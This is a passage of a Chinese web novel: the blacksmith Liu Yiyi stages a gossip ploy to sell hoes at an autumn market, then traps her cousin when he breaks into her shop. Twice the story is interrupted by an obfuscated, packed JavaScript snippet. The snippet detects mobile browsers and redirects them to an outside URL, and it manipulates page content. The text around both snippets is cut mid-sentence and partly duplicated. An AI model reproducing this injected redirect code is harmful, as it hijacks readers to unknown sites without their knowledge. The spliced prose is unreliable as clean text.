见大伙的胃口都被吊起来了,李大婶这才绘声绘色地继续说:“就前几天,小王半夜三更醒来,没见着自己媳妇,等了一会儿还不见人,就在家里找。当他找到磨坊的时候呀,听到里面传来奇怪的声音,忍不住推开门一看。你们猜怎么着?” “你快讲呀!” “哎呀,急死我啦!” “小王推开门一看呀!他媳妇和家里的老王搞在一起了!”李大婶特意强调了一遍:“就是儿媳妇和公公……哎呀,你们懂得!” “这……这成何体统!” “我的菩萨咧!” “然后呢然后呢?” 李大婶又磕了一颗瓜子,慢悠悠地嚼了两口,这才继续往下讲:“哎哟,那晚上可老热闹了!当爹的和儿子扭在一块,媳妇和婆婆扯在一起,头发都薅下来好几把,搞得鸡飞狗跳!邻居们听到动静,全跑来看热闹,把磨坊门口围得水泄不通。” “那他们谁打赢了?”有人问。 “没出结果!四个人最后被大家伙们拦下来了!”李大婶撇了撇嘴,音调拔高了三度,“当时那场面呀~小王气得满院子找家伙,见墙角有把锄头,二话不说!抄起来就往他爹头上招呼!” “哎哟喂!” “可别闹出人命啊!” “人命倒没出。”李大婶把手里的瓜子壳一扔,双手一摊,“但那锄头刚举起来,还没落到头上呢,‘咔嚓’一声,锄头断了!” “断了?” “好端端的锄头怎么会断?” “可不是嘛!”李大婶一拍巴掌,“那锄头是三年前买的,看着有模有样,其实就是个样子货。锄刃薄得像纸,锄颈就焊了那么一点儿。那小王呀,刚举起来还没使劲呢,锄头直接从焊口那儿崩开了。锄刃飞出去,差点砸到劝架的邻居脑门上!” 众人面面相觑,不过好在这事最后没有见血。 “所以啊,”李大婶叹了口气,语重心长地说,“咱们农民呀,靠田吃饭,农具可马虎不得!” “买锄头这种东西,不能只图便宜。关键时候它能要你的命!你们想想,要是小王当时拿的是一把好锄头,那老东西能跑得掉?” “额……不是,我的意思是,要是拿的是好锄头,至少不会崩断伤着旁人不是?” “有道理有道理!” “那倒是的。” “李大婶,那你家的锄头是在哪儿买的?好不好使?” 李大婶等的就是这句话。 “我家那把锄头啊,”她偏着头假装回想,往柳依依摊位方向努了努嘴,“就是在咱们镇上柳家铁匠铺买的。” “柳依依,你们知道吧?她爹以前就是咱镇上的铁匠,现在她继承了家里的铺子,这姑娘手艺一绝!” “她家打的锄头,那才好使。上次我家地里长了荆茅,那荆茅根又粗又韧,普通锄头砍上去不是崩口就是打滑。我家老头子又急又气,本来以为没法子了,谁知道买了柳家的锄头后,一下一棵,连根断!砍石头都不卷刃!” 李大婶挑挑眉,喜气溢于言表。“现在我家老头子对这锄头宝贝得不行!做梦都要抱在怀里!” “真的假的?” “有那么神?这天下真有锄头连荆茅都能斩断?” “你们要是不信,自己去看看呗。” 李大婶站起来,拍了拍裤腿上的瓜子壳,朝街中间一指,“今天可是秋收集,她家就在街中间摆摊。你们去看看那铁器的成色,再听听那敲击的声音,好铁坏铁,一上手就知道。” 几个婶子互相看了一眼,纷纷站了起来。 “走,看看去。我家的菜刀也该换了。” “反正戏还没开场。” “要是真的!那我买一把……不!买两把备着!我也怕家里的田长了荆茅。” “来来来!我带你们去!”李大婶回头挥挥手,就这么领着一大群婶子们,浩浩荡荡地往街中间走去。 一路上,她又把刚刚的“王家奇事”添油加醋地讲了一遍,补充了更多的细节。什么“锄刃崩到墙上砸了个坑”“小王他爹吓得裤子都湿了”“邻居劝架被崩飞的锄刃划破了新衣裳”,大家一边走,一边听得啧啧称奇。 *** 此刻正是午膳时间。 柳依依提前带上了四块干馍馍,她把两块分给叶七,本来打算就着清水将就一顿的,但现在满大街都是各式各样的小吃,空气中混合着各种各样的香味,五味俱全。 柳依依顿时觉得这干馍馍硬得跟石头一样,差点把自己牙崩掉,她赶紧喝了口水润润嗓子。 柳依依的余光瞥向了对面的摊位,摊主正在做荷叶包鸡。 那鸡被荷叶裹着,烤得外皮金黄,晶莹的油从荷叶的缝隙里渗出来,一滴一滴地落在案板上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498678|202624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摊主用刀把那鸡切开,热气裹挟着荷叶的清香与肉香一同涌出,白嫩嫩的鸡肉下填着香菇、红枣和几味不知名的香料,汁水顺着刀口往下淌,它们被浸得油亮饱满。 这荷叶包鸡卖相太好,已经有不少路人问价。 “这鸡肉多少钱一斤?” “一百铜板一斤!”摊主笑眯眯地说。 那人咽了口唾沫,然后咬牙勉强说:“那……来半斤吧!” 一百铜板一斤。 “算了。”柳依依小声嘟囔着,干脆转过头,眼不见心为静。 虽然家里有点余款,但这荷叶包鸡贵得离谱了,一百铜板能买好几斤米了,这么贵,万一不好吃,不就亏了? 柳依依试图催眠自己,告诉自己手里的馍馍是最香的。 突然,柳依依感受到了别人的目光,她下意识朝来源望去。 叶七坐在她旁边,目光自然地落在摊子的铁器上。 他手里也拿着干馍馍,但叶七吃得面无表情,好像丝毫不受街边小吃摊的气味所影响。 没看我呀……错觉吧? 柳依依胡思乱想着,也没在意。 也许叶七也觉得这馍硬得不好吃,但这木头脸不说。 这个念头在脑海划过时,柳依依差点把自己逗笑了,她把最后一口馍咽下去,喝了几口清水。无论如何,肚子起码不饿了。 就在这时,镇长气喘吁吁地跑了过来,肩膀上扛着一大捆荆茅根,根茎粗的部分堪比人的手腕,灰扑扑的,还带着新鲜泥土。 “依依!荆茅根给你拉来了!”镇长擦了擦额头的汗,“这才从地里砍出来没多久,还是新鲜的呢!家里那些快放烂的,我就没给你拿来了。” “够了够了,谢谢镇长。” 柳依依接过那一大团荆茅,扔在摊子旁边,然后她蹲下来看了看荆茅根的成色,根茎粗壮,韧性十足,正是用来演示锄头的好材料。 “对面那个李记铁匠铺,一大早卖了二十把锄头了。”镇长压低声音,叹了口气,“咱们一把都没卖出去,你真有法子?” 柳依依站起来,拍了拍手上的泥,正要说话,忽然听到一阵嘈杂的人声从街口传来。 “让让,让让!” “就是这家!柳家铁匠铺!” “哎呀,别挤别挤!” 李大婶的声音最响亮,隔着半条街都能听见。 柳依依闻声,立马踮起脚尖朝远处一看,差点没笑出声来。 李大婶正走在队伍最前头,她身后跟着乌泱泱一大群人,全是镇口那些唠嗑的婶子大娘,里面还夹杂着一些看热闹的老汉和年轻人,浩浩荡荡,少说也有三四十号人。 “来了来了!”柳依依兴奋地搓了搓手,然后拉了拉叶七的袖子。 叶七站起来,不动声色地往摊位前面站了半步,身体护在摊子前。 李大婶领着一大群人,隔着老远,她就气喘吁吁地高声喊道:“依依!你可得好好给她们露一手!我说你家锄头能砍断荆茅!它们还不信嘞!” “叶七!”柳依依一想到白花花的银子,乐得合不拢嘴。 “咱们要发财咯!” 19. 第 19 章 李大婶带领的人群,呼啦一下涌到了摊位前面。那群大娘们把摊位前后围了个水泄不通,站在前面的挡住了后面的视线,个子矮的人纷纷踮着脚,伸长了脖子往里瞧。 “就是这家?柳家铁匠铺的?” “哎,快让让!我还没瞅见呢!” “这锄头看着和别家的也没啥区别呀……” 柳依依从摊位上抄起一把锄头,然后弯腰捡起地上那捆荆茅根,把最粗的一根挑出来摆在众人面前。 “各位婶子叔伯,”她清了清嗓子,声音清亮,“荆茅根有多韧,大家种了一辈子地,想必比我更清楚。今天我就给大家展示一下,我家的锄头,能不能一刀斩断它!” 话音刚落,她抡起锄头,对准那根手腕粗的荆茅根,狠狠挥了下去。 “咔嚓”一声,荆茅根应声而断,切口平整光滑。 人群“哇”地一下炸开了。 “你们瞧!真断了!” “这锄头真利啊!” “你们看那锄刃,一点儿都没卷!” 柳依依把锄头举起来,在人群前面转了一圈,让所有人都看清锄刃完好无损。阳光照在银灰色的锄刃上,反射出一道刺眼的银光。 “各位婶婶,要不,谁上来亲自试试?”柳依依笑着把锄头递出去。 “俺来!”一个膀大腰圆的大娘咧着嘴从人群里挤出来,她接过锄头,在手里掂了掂,“哟,不轻也不沉手,分量刚好!” 她把一块荆茅轻轻放在地上,围观的人群自动给她让开一片区域,方便大娘行动。 大娘照着地上的荆茅根砍了一刀,只听一声脆响,荆茅又断开了。 “好铁!”大娘眼睛一亮,“多少钱一把?” “六十铜板。” “俺家仨孩子,来三把,正好一人一把!” “好嘞!”柳依依手脚麻利地拾起三把锄头递过去,喜笑颜开地接过大娘递来的铜板。 “给我来一把!” “我要两把镰刀!” “菜刀还有吗?我家那把钝得切不动肉了!” “这把柴刀我看着不错,多少钱?” 人群彻底沸腾了。 叶七站在摊位前面,默默地帮忙收钱,给客人递货,动作飞快。柳依依在一旁招呼客人,和客人有说有笑,脸上的笑怎么都压不下去。 锄头最先卖光,然后是镰刀、菜刀、剪刀,连那些小件的凿子、刨刃、钉子都被人抢着买走了。 有个老汉没抢到锄头,急得直跺脚,柳依依赶紧安抚:“叔,您别急,我们还会继续打铁的,明天您来铺子里买,我给您留着!” 不到半个时辰,摊位上的铁器被抢购一空,连柳依依用来砍荆茅的那根样品都被人买走了。 柳依依蹲下来数铜板,总共刚好二十八贯,合约二点八两银子。 一天!仅仅一天就赚了这么多! 柳依依深吸一口气,把钱袋子系紧塞进怀里,然后拍了拍衣裳上的灰,走到镇长面前,从袖子里摸出一把钱,数了五十文,放进一个小袋子里,然后塞到镇长手里。 “镇长,今天多亏了你帮忙带来的荆茅根,这点钱您拿着,给嫂子买点好吃的。” 镇长一愣,连忙推辞:“不不不,我就帮了个小忙,哪能要你的钱——” “您要是不收,我下次可不敢请您帮忙了。”柳依依把钱硬塞进他手心,笑嘻嘻地说。 镇长推辞不过,只好收了,嘴里念叨着“这孩子,你也太客气了”。 柳依依又走到李大婶面前,数出同样的数目,塞到李大婶手里:“李婶,今天您是最大的功臣,没有您帮我吆喝拉人,我这摊子哪来这么多人?这点钱您拿着。” “哎呀,这怎么好意思……”李大婶推辞了几下,见柳依依坚持,实在是拗不过她,只好收下。 李大婶凑近柳依依,压低声音,神神秘秘地说了一句:“对了依依,都按你那个主意做的,放心吧,附近几个村子我打听过了,没有一个姓王的。这个故事啊,伤不着无辜的人!” 柳依依笑着行了个礼。“大婶您真是太贴心了。” 李大婶摆了摆手,笑眯眯地告别离开了。 “你刚刚提到的那个打小三,是什么点子?竟然引了这么多人来?”叶七正在收拾地摊,把凳子等物件都妥善地放在车厢里。 “揽客的小把戏罢了,先让李大婶去传一个大家喜欢的打小三故事,然后顺其自然地拐到咱家铺子来,这一切都得有个前提,那就是咱家的锄头是真的好用。” 今天把铺子里的货卖光了,柳依依心情大好,从旁边的菜农那里买了根胡萝卜,喂给白雪。 “很聪明。”叶七莞尔。 这不叫聪明,这真的是自己以前一点点锻炼起来的。 柳依依在心里无奈道。 上一世,柳依依还没出名前,就是自己边铸剑,边跑腿想办法找客源。 高情商:商品推销和商品生产结合深度捆绑,优化中间商环节,实现产业线紧密对接。 低情商:又要当销售还要当技工,一人双职,命苦得很。 柳依依正低头收拾摊位上的零碎东西,余光忽然瞥见一个胖乎乎的人影从对面的巷口闪了过去。 柳白。 这猪头还真来了,肯定在这里偷看很久了,说不定自己收钱收到手软的画面也被他看去了。 柳依依不动声色地抬起头,果然看到柳白正站在不远处一个卖糖葫芦的摊位旁边,他假装在看糖葫芦,但那双贼溜溜的眼睛一直在往自己这边瞟。 柳依依心里冷笑一声,但脸上没有露出任何异样。 她走到镇长面前,提高了声音说:“镇长,我家库房里还有一批铁器,今天没全带来。明天我得骑着驴车,连夜给隔壁李家村的李大户送去,刚刚他找我家定了二十把锄头和十把柴刀,催得紧,得连夜过去,明中午我们才能回来。” 镇长愣了一下,笑着说:“二十把锄头?那可不少钱呢,你的摊位我给你留着!你快去快回吧,李家村啊……这路途远着呢!” “可不是嘛。”柳依依叹了口气,“所以我打算今晚就去,早去早回,反正今天的铁器都卖完了!” 柳依依的余光里,那个站在糖葫芦摊位旁边的身影明显僵了一下。 “行了,收摊吧。”柳依依拍了拍手,和叶七一起把空荡荡的木板和架子搬上车厢。 白雪正啃着胡萝卜,这会儿正懒洋洋地甩着尾巴,头上的粉色蝴蝶结歪到了一边,柳依依再次伸手给它扶正,拍了拍它的驴屁股。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498679|202624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >驴车吱呀吱呀地往铁匠铺走,柳依依坐在车辕上,回过头看了一眼。 柳白还站在那个糖葫芦摊位旁边,这回连假装看糖葫芦都不装了,直勾勾地盯着她的驴车。 回到铁匠铺,柳依依和叶七把车厢里的东西卸完,又把库房的铁器重新清点了一遍。冶炼的熟铁,还没用完,秋收集还有几天,还能再打造一些铁器继续去卖。 两个人简单吃过晚饭,天就彻底黑了。 饭后,二人驾着白雪出发,离开了小镇,驴车的车厢上盖着一层旧布,里面似乎装满了货物。 等到驴车的身影彻底消失,小镇里再也听不到驴车行驶时“吱呀”的声音后,一个圆滚滚的身影从黑暗的角落里走了出来。 “死丫头,怎么磨磨唧唧的,现在才出门,我的脚都麻了……” 他啐了一口唾沫,揉了揉已经蹲麻的腿,迫不及待地探着脖子,朝铁匠铺漆黑的窗户那里看去。 今天他在暗处看得清清楚楚,那摊子上铁器一把接一把地卖,铜板哗啦啦地往钱袋子里倒,柳依依今天赚的少说也有一两银子,对了,还有那张地契,今晚这一趟如果都能拿到手,那就值了! “靠着我们柳家的铺子白赚了那么多钱,今晚也该老子享用了。”柳白沿着墙根摸到铁匠铺后院,竖起耳朵听了听,院子里静悄悄的,连一点声音也没有。 柳依依和那个男人都出去了,整个铺子就是个空壳。 “连个看家的人都不留,东西被偷了也是活该。”柳白冷笑一声,双手撑住墙头,肥硕的身子往上一窜,骑在了墙头上。 月光下,院子里的布局和上次来时差不多,只是墙角多了几堆石砖,大概是那死丫头用来翻修院墙的。 “哼,修墙有什么用?防得住老子?” 柳白嗤之以鼻,正准备往下跳,忽然想起上次自己去柳依依家翻过一回,柳依依按理说会有所防备才是。 他多了个心眼,环顾四周,看到街道的角落有根细竹竿,于是又返回去把竹竿捡起来后,用竹竿先往墙根内侧的地面上戳了几下。 竹竿刚接触到地面,只听“啪”地一声,断成两截。 墙角竟然藏着一个捕兽夹,它还被故意埋在了沙土里! “死丫头真阴险!”柳白暗骂一声,拿竹竿在地上戳了一会儿,确定脚下的区域没有陷阱了,才跳进院子里。 进了院子后,柳白依旧没有放松警惕,他拿竹竿一下又一下戳着前面的空地,好在没有再次遇到陷阱,一路顺风终于来到了屋子门口。 柳白从包里摸出一根铁丝,借着月光在锁口捣鼓了起来。 半分钟后,门锁发出轻微的响声,门被撬开了。 柳白大喜过望,连忙推开门。 他脸上的笑容还没来得及收回去,只听前方一道破空声传来,一个黑影朝自己脸上打来。 距离太近,已经来不及闪开了,柳白惨叫一声,身体被撞得飞了出去。 他还没回过神,下意识想站起来,右脚好像又踩到了什么东西,脚腕处瞬间传来一股大力,拉得他头晕目眩,顷刻间,天地颠倒。 柳白挣扎着一看,一根粗糙的麻绳死死地缠住他的右脚,把他吊在了半空中! 这时,他看到两个倒着的人影向自己走来。